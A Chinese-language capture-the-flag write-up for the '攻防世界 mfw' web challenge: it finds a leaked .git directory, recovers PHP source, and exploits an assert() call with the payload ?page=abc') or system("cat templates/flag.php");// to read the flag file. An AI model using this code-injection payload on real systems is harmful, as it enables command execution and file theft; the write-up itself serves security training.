美文网首页CTF-Web安全
攻防世界-Web-mfw

攻防世界-Web-mfw

作者: 简言之_ | 来源:发表于2019-06-29 16:08 被阅读4次
题目信息:
image.png
工具:GitHack,dirsearch
知识点:git漏洞、代码审计

打开题目场景,检查网站,发现这样一个页面


image.png

访问.git目录,疑似存在git源码泄露


image.png

再用dirsearch扫描,发现git源码泄露:



使用 GitHack获取源码


image.png
得到源码

index.php中关键代码如下

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果这个字符串中没有找到相应的子字符串 就返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
assert() 检查一个断言是否为 FALSE
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert()函数会将括号中的字符当成代码来执行,并返回true或false。

payload:?page=abc') or system("cat templates/flag.php");//

$file =templates/ abc') or system("cat templates/flag.php");// ".php"
因为在strpos中只传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉
查看网页源代码


图片.png

相关文章

  • 攻防世界-Web-mfw

    题目信息: 打开题目场景,检查网站,发现这样一个页面 访问.git目录,疑似存在git源码泄露 再用dirsear...

  • 攻防世界新手

    就按照题目的难易程度写 新手区没有涉及到栈的相关知识,几乎是栈漏洞 get_shell 第一个题目比较简单 ida...

  • 攻防世界 lottery

    .git源码泄露/题目也给了附件下载源码/访问robots.txt也能看到.git代码审计,审了好久都没找到漏洞点...

  • 2019-05-30 新手练习区完结

    至此攻防世界的pwn新手练习区完结了

  • 攻防世界 Re wp

    hello ctf sprintf():int sprintf( char *buffer, const char...

  • 攻防世界 Crypto wp

    easy rsa p和q为选取的两个大素数 e为随机选取的小于r =(p-1)(q-1)的数 d为e关于模r的模反...

  • 攻防世界 Pwn wp

    0x01get_shell 下载附件后直接丢IDA F5 0x02CGfsb 先用checksec查看开了哪些保护...

  • 攻防世界 string wp

    参考:CTF-wiki格式化字符串漏洞利用 0x01寻找漏洞 -checksec -在IDA中对文件进行分析。 查...

  • iOS安全攻防

    iOS安全攻防 iOS安全攻防

  • 攻防世界-Web_php_unserialize

    高手进阶区,Web_php_unserialize 题目来源:攻防世界[https://adworld.xctf....

网友评论

    本文标题:攻防世界-Web-mfw

    本文链接:https://www.haomeiwen.com/subject/cxvycctx.html